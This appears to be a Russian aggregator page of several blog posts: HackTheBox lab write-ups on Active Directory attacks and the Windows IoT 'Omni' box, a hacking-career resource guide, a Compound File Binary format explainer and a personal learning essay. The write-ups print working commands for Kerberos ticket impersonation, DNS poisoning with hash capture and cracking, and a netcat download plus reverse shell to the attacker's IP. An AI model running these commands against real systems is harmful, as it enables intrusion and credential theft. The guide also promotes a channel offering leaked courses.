$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl



Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.
execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23



Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).
execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt



Проверим локальное хранилище билетов и обнаружим там только что импортированный.



Проверим доступ к веб сервису.
$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode



Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.
powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"download 1.html



Добавим эти учетные данные в хранилище данных.



Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню -> Jump -> winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.



И после подключения видим новую захваченную машину, правда без прав админа.





И как знак пройденного этапа, забираем еще один флаг.



Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table AutoSize



Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.





Давайте создадим дамп трафика с помощью tshark.
tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Никаких учетных данных не находдим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.





Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.







Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.
Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose



И атака выполнена успешно. Проверим это.
Nslookup db1.htb.local 192.168.3.203



Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.
sudo responder -I tun0 -wrf



Давайте перебирать данный хеш.
hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1



И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.







И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.





Забираем флаг администратора, как подтверждение еще одного пройденного этапа.



Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.
powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.



В файле пользователя находим упоминание о базе kdbx, которая отсутствует.



Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.



Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.





И забираем последний флаг.



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Как стать этичным хакером в 2021 году

02.01.2021 18:15:24 | Автор: admin

Добрый день, друзья. Я достаточно долго шёл к этому посту, перелопатил немало форумов, телеграм каналов, ютуб каналов, прочитал комментариев, изучил слитых курсов и я думаю что теперь я готов написать данный пост. Путь я свой начал вообще не из хакинга и даже не из тестирования и сетевого администрирования а самого обычного digitial маркетинга, поэтому объяснять все буду достаточно прозрачно даже для людей не в теме.

Начну с того что понятие "этичный хакер" - для меня это что-то вроде слова "маркетолог". То есть в общем обо всем и ни о чем вообще. В хакинге как и во многих отраслях нужна специализация. Когда приходят какие то заказы на этичный взлом они, как правило приходят на команду, и в этой команде есть уже какая-то специализация.

Часть материала я взял у Codeby здесь и тут, которые я считаю обязательными к изучению, часть позаимствовал из своего личного XMIND, часть из телеграм каналов

Начну с того, что Хакинг делится на следующие области:

  1. Web-Hacking - взлом сайтов и все что с этим связано

  2. Network Hacking - взлом сетей и всего сетевого

  3. OSINT - отдельное направление связанной с разведкой, но так или иначе Вам нужно в этом разбираться

  4. Forensic - цифровая криминалистика, отлов хакеров преступников и прочих личностей

  5. Anonimity - все что связано с анонимностью. Настройка безопасной машины, VPS, подмена ip и проч. Это скорее средство для работы в смежных областях нежели специальность. Обязательный и минимально необходимый скилл для Black Hat

  6. Reverse Engineering - это разбор программ на 0 и 1 с целью попытаться как она работает, разобрать её, изменить и запустить заново на языке Assembler

  7. Социальная инженерия - обман людей, проход на территорию противника обманным путем, психология, НЛП, разведка и все что с этим связано. Тесно интегрируется c OSINT. Обязательная ветка развития для Black Hat

  8. Source code testing - динамический и статический анализ исходного кода. Это вы проверяете насколько все грамотно спрограммировано и выявляете потенциальные уязвимости

  9. App pentest - тестирование Android и IOS приложений на проникновение. Также ваша отдельная ветка развития.

  10. Wi-FI Hacking взлом беспроводных сетей

  11. Coding - написание скриптов, программ для взлома. Это ветка развития программистов.

    Я боюсь я перечислил здесь далеко не все, но со временем вы поймете какую ветку развития своего персонажа вы выберете и что Вам ближе. Но есть базовые скиллы с которых Вам нужно начать. Просто необходимо и которые нужно отработать в первую очередь.

    Также для меня большим удивлением было когда я начал въезжать в тему что специалисты по информационной безопасности занимаются далеко не тестированием а по большому счету бумажной работой. Что отбило у меня интерес идти в классическую информационную безопасность, так как я не увидел там того хакинга в чистом виде которого я жаждал.

Итак начнем.

Linux. Базовое знание системы

Это прям MUST HAVE для всех. Нашему брату лучше сразу себе поставить Kali Linux или Parrot OS в качестве домашней системы -для быстрого въезжания в суть вопроса.

РЕСУРС:

Канал на Youtube Кирилла Семаева - это первое что нужно начать изучать вместе с установкой Linux.

Командная строка Linux. Полное руководство | Шоттс Уильям - отличная книга чтобы начать изучать командную строку

Канал на Youtube PLAFON - канал про Linux Manjaro, но для базового понимания линукса я считаю один из лучших

Следующий пункт в нашем списке

Знание сетей, TCP/IP и модели OSI

Канал на Youtube Андрея Созыкина - лучший канал для въезжания в тему и понимания что происходит вообще

Сети для самых маленьких - это после изучения первого, параллельно читаем статью

Telegram чат Sys-Admin Help в помощь

Танненбаум "Компьютерные сети" - это классика, одна из лучших книг по сетям

Полный курс по WireShark - смотрим и учимся

Английский Язык

Без него на самом деле никуда. Огромное количество учебного материала, документации - все то на английском языке. Для изучения Английского языка мы поступаем следующим образом:

  • 0 уровень - вообще никогда не учил, он мне никогда не давался, и вообще это не мое

  • 1 уровень - учил в школе, что-то помню, не плохо вспомнить и подтянуть

Все это находится на канале Александра Бебриса - лучшего преподавателя английского языка в Ютубе на просторах Рунета

Языки программирования

Тут сложно что-то рекомендовать, но я все же порекомендую. Не знаете какой язык программирования учить - тупо учите Python! Python нужен во многих сферах хакинга, это универсальный язык и очень хороший язык для того чтобы начать.

Ресурсы по Python я приводить не буду их море, и это тема отдельной статьи

После освоения данного материала пора выбирать специализацию. На самом деле к моменту изучения всего этого вы уже найдете ресурсы для дальнейшего кача я все таки выложу лучшие ресурсы

Этичный Хакинг

Перевод курса "Секреты Хакеров" - очень мягкое и легкое погружение в тему. Как прогулка по парку

Перевод курса Ermin Kreponic от команды Codeby - отличное погружение в этичный хакинг, всего по чуть-чуть и вы уже в теме

За тобой не придут с болгаркой vol.1 и vol.2 - лучшие курсы по анонимности и безопасности в Рунете

Ютуб Канал VectorT13 - это все про анонимность и чтобы Вас не отследили. Также все очень грамотно и разжевано

Супер курс от HackerDom - супер курс для полных бананов, где все отлично разжевано и разложено по полочкам

Telegram канал Мифодия Келевры - выше сверху вы посмотрели курсы Мефодия, сразу же после этого следуйте в его канал

Авторский Telegram канал White2Hack - один из лучших телеграм каналов по хакингу с кучей ссылок и ресурсов

Ветка форума Codeby посвященная этичному хакингу - тут вы найдете огромное число ответов на огромное количество ваших вопросов

Телеграм канал Ralph Hacker - зарубежный ресурс и очень крутой

Телеграм канал S.E. Book - тут вообще есть все что нужно. Зайдете, поймете

Телеграм канал Geek Girl - тут постят просто какой-то нереальный жир в нереальном количестве. Но опять же знание языка необходимо

Обязательная статья 1 для изучения

Обязательная статья 2 для изучения

Обязательная статья 3 для изучения

Обязательная статья для Web-пентеста

Дневник начинающего Хакера

BOOKS:

Площадки для оттачивания навыков

После того как вы изучите это все Вам захочется отточить свои навыки. Читаем здесь. Это ещё один инсайд. Настоятельно рекомендую приобрести подписку на журнал "Хакер"

После изучения всего этого материала, я надеюсь я помогу новичкам в этом направлении, мне такой статьи очень не хватало в начале моего пути. Всем спасибо за внимание

Подробнее..

Hack The Box. Прохождение Omni. Ломаем легенький Windows IoT

09.01.2021 18:16:01 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox (http://personeltest.ru/aways/www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram (http://personeltest.ru/aways/t.me/RalfHackerChannel) и группу для обсуждения любых вопросов в области ИиКБ (http://personeltest.ru/aways/t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (http://personeltest.ru/aways/t.me/hackerralf8).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.204omni.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Много открытых портов, при этом на 8080 нас встречает HTTP аутентификация Windows Device Portal. Давайте узнаем что это.

Таким образом, это IoT мы можем найти найти соответствующий популярный эксплоит SirepRAT.

Entry Point

Запускаем на локальной машине веб сервер.

sudo python3 -m http.server 80

Скачаем на удаленную машину netcat, запустим листенер и выполним реверс шелл с помощью netcat.

python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -Uri http://10.10.14.112/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe"python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.112 4321" --v

И мы получаем оболочку.

Из программного обеспечения имеется только PowerShell.Просмотрим все файлы, включая вложенные директории, с целью найти что-нибудь интересное. И мы находим.

Get-ChildItem -Path "C:\Program Files" Recurse -force

В данном файле находим учетные данные двух пользователей. Давайте авторизуемся на веб сервере. И в консоле кинем еще один реверс шелл.

USER

Но сразу забрать флаг не вышло.

Давайте декодируем пароль.

$userTXT = Import-CliXml -Path C:\Data\Users\app\user.txt$userTXT.GetNetworkCredential().Password

ROOT

Теперь проделаем все те же функции от имени администратора.

И машина пройдена.

Подробнее..

Препарируем Compound File Binary format (CFB), или начинаем парсить DOC

11.01.2021 10:24:00 | Автор: admin
Compound File это довольно сложный универсальный бинарный формат файлов, лежащий в основе форматов офисных документов до MS Office 2007 (doc, xls, ppt, msg, ), отчасти MS Office 2007+ (например vbaProject.bin внутри xlsm) и других.
Под катом краткое описание как Compound File устроен внутри, которое, надеюсь, будет полезно как ликбез и поможет читателю лучше понимать что делают утилиты или про что пишут в статьях про CFB файлы.


Устройтсво CFB файла сильно напоминает устройство диска с FAT. Логически CFB хранит древовидную структуру объектов, подобную файловой системе с директориями (тип объекта в CFB STORE) и файлами (в CFB STREAM). Каждый объект имеет имя.
Весь файл разбит на сектора размером 512 байт для v3 и 4096 байт для v4. Это, на мой взгляд, главная разница между v3 и v4. Дальше цифры для примеров я буду приводить для v3 (и в скобках для v4). В начальном секторе хранится заголовок файла и начало таблицы DIFAT (см. ниже). Значение содержимого других секторов определяется динамически по таблицам DIFAT и FAT (да, она прям так и называется, как в файловой системе), фиксированных значений сектор n содержит информацию типа t больше нет.
Всего максимум может быть 0xFFFFFFFA секторов. Номера секторов больше 0xFFFFFFFA являются маркерами и фактически ни на какой сектор не указывают. Например 0xFFFFFFFE (EndOfChain) означает, что текущий сектор последний в списке.

DIFAT


DIFAT Double Indirection File Access Table. Это массив 4х байтных номеров секторов, в которых находится FAT. Первые 109 записей хранятся в первом секторе файла (пять из них выделены жёлтым внизу КДПВ). Если файл больше 6.8 Мбайт (436 Мбайт для v4), то следующие сектора DIFAT хранятся как односвязный список. Номер первого сектора из этого списка хранится в заголовке. В кажом из этих секторов хранится 127 (1023) указателей на сектора с FAT, а в последних 4х байтах номер следующего сектора DIFAT.

FAT


FAT File Access Table. Это массив из 4х байтных значений. Работает так же, как в одноимённой файловой системе. Каждому сектору в файле (кроме заголовочного) соответствует 4х байтное значение в FAT.
Для чтения потока данных (STREAM) нужно знать длину потока (в байтах) и номер первого сектора этого потока. Номер следующего сектора всегда записан в элементе FAT, соответствующем текущему сектору. В элементе FAT, соответствующем последнему сектору в потоке, будет записано значение 0xFFFFFFFE (EndOfChain).
Пример цепочки в FAT
Если данные в потоке записаны в 3 сектора: 0, 1 и 4, то в FAT будут записаны такие значения: 1, 4, x, x, 0xFFFFFFFE (где x какое-то значение, к данному потоку отношения не имеющее).
Для чтения этого потока мы читает данные из сектора 0, расположенного сразу после заголовка файла (сам заголовочный сектор имеет номер -1), читаем номер следующего сектора из FAT[0] = 1, читаем данные из сектора 1 и номер следующего сектора из FAT[1] = 4, читаем данные из сектора 4 и в FAT[4] видим что это последний сектор этого потока (EndOfChain).


Directory


Это структура, которая хранит информацию обо всех остальных объектах в файле, аналог структуры каталогов. Сама она хранится в виде потока данных, длина и первый сектор которого записаны в заголовке файла. Представляет из себя массив 128 байтных записей. Каждая запись соответствует хранимому объекту. Объекты в directory имеют имя и бывают 4х видов:
  1. ROOT корень дерева каталогов. В directory хранится в элементе 0, имя всегда Root Entry. По сути является директорией, но хранит информацию о потоке данных с MiniStream (см. ниже).
  2. STORE директория. Логически является вместилищем других объектов типа STORE или STREAM. Физически дочерние объекты хранятся в виде списка (ещё точнее чёрно-красного дерева), а в STORE хранится указатель на один из дочерних объектов. Никакой поток данных к STORE не прицеплен, но есть ClSid GUID приложения, к которому относится содержимое этой директории.
  3. STREAM файл. Хранит информацию о потоке данных (первый сектор и длина); дочерних объектов и ClSid нет.
  4. UNKNOWN пустой объект. Запись, (почти) забитая 0, чисто технически нужна для дополнения списка Directory до длины, кратной длине сектора.

У каждого объекта есть временные метки: время создания и время модификации, правда часто они просто заполнены 0.
Пример дерева директорий небольшого doc файла:
Root_storage:Root Entry 06090200-0000-0000-c000-000000000046
- Stream:\x01CompObj[106]
- Stream:\x01Ole[20]
- Stream:1Table[4640]
- Stream:Data[374]
- Stream:\x05SummaryInformation[172]
- Stream:WordDocument[198510]
- Storage:ObjectPool 00000000-0000-0000-0000-000000000000
- Stream:\x05DocumentSummaryInformation[116]


MiniStream и MiniFAT


В принципе описанного выше достаточно для хранения данных, но в CFB предусмотрена ещё оптимизация для хранения коротких потоков данных меньше 4096 байт.
При хранении потока данных, длина которого не кратна длине сектора, в последнем секторе остаётся некоторое количество неиспользуемых байт. Чем больше сектор тем больше таких байт в среднем остаётся. Для борьбы с этой проблемой все небольшие (меньше 4096 байт) потоки данных хранятся не в обычных секторах по 512 (4096) байт и FAT, а в отдельном потоке, разбитом на сектора по 64 байта. Этот поток называется MiniStream, а информация для сцепления его секторов в потоки хранится в MiniFAT. Работает это всё совершенно аналогично основной FAT.
И MiniFAT, и MiniStream хранятся как обычные (не Mini) потоки данных. Номер первого сектора и длина MiniFAT хранятся в заголовке, а информация о MiniStream в объекте Root Entry (логической причины хранить именно там не вижу).
Получается такая матрёшка: файл разделён на 512 (4096) байтные сектора, а один из потоков, состоящих из этих секторов, рассматривается как последовательность 64 байтных секторов, и в нём уже хранятся мини потоки данных.
Откуда читать поток данных: из большой FAT или из MiniStream, определяется только по его размеру (меньше 4096 из MiniStream, иначе как обычный поток).

Где же текст/картинка/таблица/макрос?


CFB используется как хранилище, позволяющее сохранить данные разных приложений в одном файле. Если вы хотите докопаться до человекочитаемых данных, то надо парсить потоки данных, извлечённые из CFB, в соответствии с форматом данных приложения. Эта тема выходит за пределы данной статьи (но см. ссылки).

Выводы


По идее такая структура файла была разработана для ускорения внесения отдельных изменений в файл без его полной перезаписи. Не думаю, что это свойство ценно сейчас для обычных офисных документов размером несколько мегабайт.
В общем структура файла CFB просто кладезь для стеганографии, основанной на формате файла. Т. е. сделать совершенно корректный файл, который при открытии в ворде покажет Hello world, а внутри будет ещё много, которые правильный парсер будет считать просто мусором вообще не проблема.
С другой стороны огромный простор для ошибок, путаницы и т.п., огромное количество избыточных записей. Например, можно зациклить цепочку секторов, образующую поток. Наивный парсер при чтении такого файла зависнет.
P.S. Файлы MS Office 2007 и старше (docx, xlsx, pptx, docm,) имеют совершенно другой формат. Внутри там тоже дерево директорий, только вместо CFB там используется ZIP (да, их можно прям раззиповать). Однако макросы, например, хранятся внутри документа в файле vbaProject.bin, который является Compound файлом.

Ссылки


  • Сам CFB очень хорошо (на мой взгляд) документирован: [MS-CFB]: Compound File Binary File Format
  • [MS-DOC]: Word (.doc) Binary File Format для тех, кто хочет полноценно разобрать doc.
  • [MS-OVBA]: Office VBA File Format Structure о том, как хранятся макросы, в том числе в Office 2007+ (docm, xlsm, ...)
  • Ещё пара статей на Хабре про парсинг DOC от Rembish:
    Текст любой ценой: WCBFF и DOC и Текст любой ценой: Miette
  • Для практического анализа файлов MS Office (как до 2007 Офиса, так и после), в том числе подозрительных, рекомендую набор утилит OleTools. Их можно использовать и как отдельные программы, и как модули Python.
  • Ещё полезный набор утилит OleDump
  • CFB extractor, появившийся в процессе написания этой статьи. Из полезного умеет доставать из CFB файла все потоки данных (включая потоки, не имеющие соответствующей записи в директории).
Подробнее..

Мама, я хакер. Или как, где и чем я пользуюсь для того чтобы им стать сегодня

22.01.2021 16:14:24 | Автор: admin

Начало

Здравствуй, читатель.

Это моя первая статья на данном ресурсе и надеюсь она будет полезной для всех ребят, которые задались вопросами и целью - "Как мне стать хакером?", "Как мне самостоятельно учиться и где это делать?", "С чего начать свой путь?", "Где мне найти нужную информацию и вообще как её искать по тематике хакинга?".

На все эти вопросы и парочку других я постараюсь сегодня ответить в своей первой статье.
А также немного познакомить вас со своим путём становления, не постесняюсь этого бранного слова, хакером.

А так, как с размерами моего эго, может потягаться только сверх-массивная черная дыра в кластере супергалактик - то я постараюсь сделать эту статью/гайд/обзор - максимально объемным и полезным для новичков любого уровня, чтобы он стал ЛЕГЕНДАРНМ и на него все ссылались отныне и вовеки веков.

Ремарка - все указанные ссылки не имеют никакого рекламного подтекста.
Я никак не связан и не рекламирую ничей продукт, ссылки на которые будут представлены в этой статье.

Немного обо мне

Прежде, чем бежать и жадно изучать ресурсы, которые я подготовил, потратив кучу времени, сил и нервов своего бренного тела, я подумал, что было бы полезно поделиться с вами тем, кто я такой и почему вообще я этим занимаюсь. (но если тебе не терпится, скорей листай вниз, там куча полезностей и ссылок).

Меня зовут Ричард, на просторах интернета меня никто, нигде и никогда не знал ни под какими именами, потому что я, собственно говоря, никогда, нигде и не светился.

В прошлом году, в моём дурном мозге в очередной раз, родилась очередная дикая мысль и связана она была с тем, чтобы слепить из себя профессионального хакера и в целом спеца в сфере информационной безопасности.

А так как по образованию я являюсь "специалистом по организации и технологиям защиты информации", но никогда не работал (на момент написания статьи) и дня по-своему профильному образованию, то мне показалось это втройне ироничным - что спустя долгие годы, популярного как сегодня говорят, "поиска себя и своего предназначения", начиная от помощника кондитера в сша будучи оголтелым студентом, до, спустя многие годы, организатора фестиваля по паркуру будучи уже взрослым парнем аспирантом физ.мата - я вернулся к тому, с чего начинал.

Посему, поделиться такой ироничной и, возможно, в каком-то будущем, даже интересной историей обязан, особенно если она кому-то, да поможет однажды.

На большее я и не могу надеяться.

Так как за годы проб, придумывания отговорок, причин и метаний (что собственно говоря типично для ребят моего поколения) в стиле - "Что же мне стоит делать?", "Куда лежит душа?", "Это не интересно", "Здесь скучно", "Тут тупо", "Здесь вообще меня воротит от сферы деятельности", "Да ну не, может мне бросить всё и стать мотогонщиком ралли гонок ДАКАР?", "Не, может лучше мне поступить в MIT и заняться роботехникой?", "Или может быть я просто ленивый и бесконечно прокрастинирующий фантазёр, и буду всю жизнь работать посредственным специалистом в какой-нибудь конторке?". Или просто потому что я никак не мог перестать лениться и избегать той работы, которая мне сразу оказалась не по душе. Даже если мне нечего есть и моё обыденное существование подвергается опасности, я всё равно буду продолжать это делать. Такой вот я упёртый/глупый/самонадеянный/сверх меры самоуверенный в себе баран.

Но, в итоге, остановился я твёрдо и уверенно на теме хакинга.

Это оказалась та бесконечно-фрактальная тема и область, где моё нескончаемое любопытство (а проще говоря ОКР и желание быть готовым ко всему, всегда, везде), а также вечное стремление узнавать новое, неспособность сидеть долго на уже досконально изученном до дыр месте, и желание применять полученные знания на высоком уровне скилла на практике - наконец-то гармонично собрались, как будто так и надо было, в единую картину - "это то что надо, чувак, давай обоснуемся пока в этих чертогах." - вещал я себе сам, радуясь как ребёнок, думая что мои потуги наконец-то подходят к концу (ага, щас).

И, так как по натуре уродился таким человеком, который любит и верит в то, что если помогать своему окружению, то все будут от этого в плюсе и мы будем расти вместе с окружением быстрее, лучше, сильнее - я решил что мне стоит попробовать свои силы в том, чтобы делиться своими похождениями и ресурсами которыми я пользуюсь по ходу своих похождений с другими людьми.

Итак, после нудного и не особо полезного вступления, начнём.

Процесс обучения

Прежде чем я перейду к самой простой части - перечислению ресурсов и того, что вы можете из них получить и найти - считаю святой обязанностью поделиться своим взглядом на основы и процесс обучения, который стоит применять не только к теме хакинга, но и к ежедневным задачам, которые падают на каждого из нас, вне зависимости от образа мышления, языка на котором мыслим, спектра эмоций и мировоззрения.

Мне хотелось бы разделить условно процесс самообразования/самообучения на 2 важных составляющих.

И это:


1) Парадигма обучения, которой вы придерживаетесь (как вы смотрите на вещи вокруг вас, на себя, на людей, находите мотивацию, поддерживаете интерес, справляетесь со стрессом и проблемами, позволяете влиять на вас другим людям и многое-многое другое, ну или не/нет - ко всему ранее перечисленному в скобках).

2) Обладать навыком поиска нужной информации ( это значит уметь искать быстро (потому что ваше время - это ограниченный и самый ценный ресурс который есть у каждого из нас), это значит знать где искать, чем искать, грамотно фильтровать и после, и самое важное - грамотно её структурировать/каталогизировать, хранить, дополнять и после удобно использовать).
Особенно если мы говорим про хакеров, для которых навык OSINT'a (Open source intelligence - разведка из открытых источников) - является одним из самых crucial умений в списке профессиональных умений.

В этом году будет только 30 раз, как мне удалось облететь вокруг Солнца, стоя, лежа, сидя на этой планете.

Но даже за это, не столь значительное, время я обрел уйму различного опыта и знаний касательно процесса обучения - начиная от паркура и езды на мотоцикле, заканчивая поиском первой уязвимости и могу сказать, что везде присутствуют одни и те же паттерны обучения, придерживаясь которых можно достичь успехов и поставленных целей.

Я хотел бы подытожить описанное выше следующим образом (сразу прошу учесть, это сугубо субъективный опыт моей жизни, я не претендую на звание преподавателя и тем более ментора, мне бы себе найти оного, но я всегда оспаривал современные методы школьного/университетского обучения в силу их кусочности, грубости, ригидности и как следствие ущербности, посему я буду описывать своё видение)

Я разделю ниже указанные области на аспекты. Так должно быть проще и понятней.

  • Аспект 1.

    Правильно формулируйте и задавайте вопросы.

    Изучение любой темы, будь это поиск уязвимостей XSS, осваивание основных инструментов для проведения пентеста, вождение мотоцикла или как выполнять правильно болевой приём Гяку-Удэ-Гарами - должно начинаться с двух вопросов.

    1) Что я уже знаю об этом?

    2) Чего я ещё не знаю про это?

    Это можно описать так.
    Представьте себе что вы стоите на горе и перед вами внизу лес, вам нужно попасть на другую гору, которую вы видите перед собой, но между вам как раз таки расположен тот самый густой, очень тёмный, непроглядный лес.

    Если вы запомните примерное расположение горы и спуститесь в лес не подготовившись, поспешив и понадеявшись исключительно только на вашу память и первоначальный интерес и мотивацию, начав ваш поход ко второй горе - вы несомненно рано или поздно, но ошибетесь, затем заблудитесь, и как итог сдадитесь обнаружив себя посреди чащи густого незнакомого леса.

    Но если же вы, стоя на верхушке первой горы нарисуете себе примерную карту на первой попавшейся бумажке того, как вам попасть на вторую гору и приблизительный путь как добраться до неё - вы никогда не собьетесь со своего пути, потому что с верхушки первой горы вы успели заметить, что в середине леса, оказывается есть огромный дуб, у которого сломана верхушка кроны и пробивается яркий луч внутрь чащи , а вон там протекает ручей, а вот тут груда камней и небольшая скала и это можно использовать как ориентир.
    И тем самым, когда вы спуститесь в лес и начнете свой поход - вы будете отслеживать свой прогресс и пройденный путь - всегда сможете вернуться и понять, где вы ошиблись и выбрали не верный путь, что послужило причиной ошибки и насколько вы отклонились от своей цели.

    Таким образом вы создаете себе мини-помощника на бумажке - структуру - это может быть структурированный список или крякозябры нарисованные от руки или что угодно - но то, что понятно вам и не забудется спустя день, неделю, месяц. Это также может быть ваша уникальная система понятная только вам, экспериментируйте! Здесь нет единственного правильного ответа

    Таким образом вы обхватываете сразу две основных области в ваших головушках и разом убиваете двух зайцев

    Вы проходите один из самых важных этапов в процессе обучения - формированию структуры.

    Вы можете не знать вообще ничего, знать частично об этом (услышав от друзей, увидев рекламу на ютубе или ролик в рекомендациях) или быть экспертом в этой области, но благодаря этим двум основным вопросам вы уже начинаете формировать в голове общий образ того, что и как вы будете запоминать о той или иной вещи.

    Вы формируете входные точки для того, чтобы в скором времени перейти к второму важному этапу и это - поиск. Когда вы осознаете, что слово "кимура" для вас пустой звук - то самым первым делом вы, как и любой живой человек на этой земле, в голове обратитесь к инструментам которые позволят получить любую информацию о неизвестном - сначала в долговременную память, а потом вы полезете в поисковик и сразу же узнаете что это довольно популярная японская фамилия, а прокрутив первую страницу с результатами поиска, узнаете также что это болевой прием, названный в честь одного именитого борца, который собственно говоря и придумал его.

    На данном этапе, если вы сумеете выстроить в голове ретроспективную линию и взглянуть на себя то вы осознаете, что пару минут назад, вы ничего не знали ни о том, что находится в лесу, что такое кимура, таких знаний попросту не было в вашей голове.
    Но если вы будете придерживаться четкой структуры в процессе изучения чего-либо - то мозгу проще и гармоничней будет запоминать и выстраивать ассоциативные связи благодаря этому.

    Вы скажете, хорошо Ричард, это всё круто и здорово, но знать что-то не равно уметь делать это, да к тому же на профессиональном уровне.

    И будете абсолютно правы.

    Ведь практический опыт и теория неразрывно связаны.

    А точнее практика это ваша теория, которая обрела физическую форму на бумаге, в ваших действиях и словах.

    И тут стоит перейти к второму важному аспекту.

  • Аспект 2.
    Ошибайтесь.

    Нет ни одного человека на этой планете, который бы жил, живёт и будет жить - и который бы не ошибался ни разу в своей жизни.

    Быть хакером - значит обладать огромным запасом разношерстных, порой несвязанных друг с другом знаний из разных областей и умений - и как итог уметь их применять вкупе в нужное время, в нужном месте и получать результат высокого качества/уровня.

    А подобный уровень недостижим, если вы не позволите себе ошибаться по ходу процесса обучения.
    Сегодняшняя культура нашего социума и цивилизации в котором мы с вами живём - всё также инфантильна и скоропалительна, а также нетерпима к изменениям и самоанализу своих ошибок.

    А посему проще заклеймить и предать стигматизму ошибки и процесс их появления в наших жизнях, нежели принять их и сделать неотъемлемой частью наших жизней.

    Ошибки это больно, неприятно, затратно по ресурсам (физическим, психическим, временным) - поэтому это естественно что наши мозги (то бишь мы) - хотим минимизировать подобный опыт и свести его желательно к нулю.

    НО

    Для прогресса это делать запрещено.

    Ни у кого из нас нет доступа к шару с предсказаниями и тому, что будет с нами в будущем.
